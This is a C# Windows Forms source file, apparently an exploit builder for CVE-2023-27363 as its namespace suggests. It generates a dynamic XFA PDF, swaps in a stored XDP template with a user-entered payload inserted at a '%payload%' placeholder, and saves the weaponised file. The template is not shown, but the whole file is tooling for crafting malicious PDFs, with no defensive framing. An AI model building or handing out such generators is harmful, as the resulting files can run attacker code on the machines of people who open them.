using Aspose.Pdf.Facades;
using Aspose.Pdf;
using Syncfusion.Pdf.Xfa;
using Syncfusion.Pdf;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Form = System.Windows.Forms.Form;

namespace CVE_2023_27363
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            PdfXfaDocument document = new PdfXfaDocument();
            document.PageSettings.PageSize = PdfPageSize.A4;
            PdfXfaPage xfaPage = document.Pages.Add();
            PdfXfaForm mainForm = new PdfXfaForm("subform", xfaPage, xfaPage.GetClientSize().Width);
            document.XfaForm = mainForm;
            MemoryStream stream = new MemoryStream();
            document.Save(stream, PdfXfaType.Dynamic);
            document.Close();
            Document doc = new Document(stream);
            doc.Form.XFA.XDP.InnerXml = Properties.Resources.String1.Replace("%payload%",textBox1.Text);
            SaveFileDialog saveFileDialog = new SaveFileDialog();
            saveFileDialog.InitialDirectory = Application.StartupPath;
            saveFileDialog.OverwritePrompt = false;
            saveFileDialog.Filter = "(*.pdf)|*.pdf";
            if (saveFileDialog.ShowDialog() == DialogResult.OK)
                doc.Save(saveFileDialog.FileName);
        }
    }
}